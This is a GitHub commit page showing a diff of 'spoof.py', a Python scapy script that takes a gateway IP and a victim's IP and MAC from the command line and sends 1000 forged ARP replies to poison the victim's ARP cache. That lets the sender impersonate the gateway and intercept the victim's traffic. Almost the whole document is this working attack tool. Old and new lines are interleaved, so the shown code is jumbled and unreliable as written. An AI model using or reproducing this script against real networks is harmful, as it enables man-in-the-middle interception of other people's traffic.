Add files via upload

This commit is contained in:
xdavidhu 2016-12-27 23:45:19 +01:00 committed by GitHub
parent 2c6f57b030
commit c3e1bb2d2a

View File

@ -1,31 +1,46 @@
import scapy import sys
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
from scapy.all import * try:
my_mac = sys.argv[1]
interface = sys.argv[2]
my_ip = sys.argv[3]
target_ip = sys.argv[4]
target_mac = sys.argv[5]
except:
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
exit()
""" ether = Ether()
# GET MAC ADDRESS ether.src = my_mac # Default: network card mac
def get_mac_address():
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for mac in my_macs:
if(mac != "00:00:00:00:00:00"):
return mac
my_mac = get_mac_address()
if not my_mac:
print "Cant get local mac address, quitting"
sys.exit(1)
"""
my_mac = # MY MAC
# REQUEST Host_Target & Host_Impersonation arp = ARP()
arp.psrc = my_ip
arp.hwsrc = my_mac
""" arp = arp
target = raw_input("Enter host target: ") arp.pdst = target_ip # Default: 0.0.0.0
impersonation = raw_input("Enter host to impersonate: ") arp.hwdst = target_mac # Default: 00:00:00:00:00:00
"""
target = # TARGET MAC
impersonation = # IMPERSONATION MAC
# CRAFT & SEND PACKET ether = ether
ether.src = my_mac
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
packet = 'Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", hwsrc='+my_mac+', psrc='+impersonation+', pdst='+target+')' def craftRequestPkt():
sendp(packet) packet = ether/arp
sendp(x=packet, inter=1, count=1000)
def craftReplyPkt():
arp.op = 2
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
if __name__ == '__main__':
craftReplyPkt()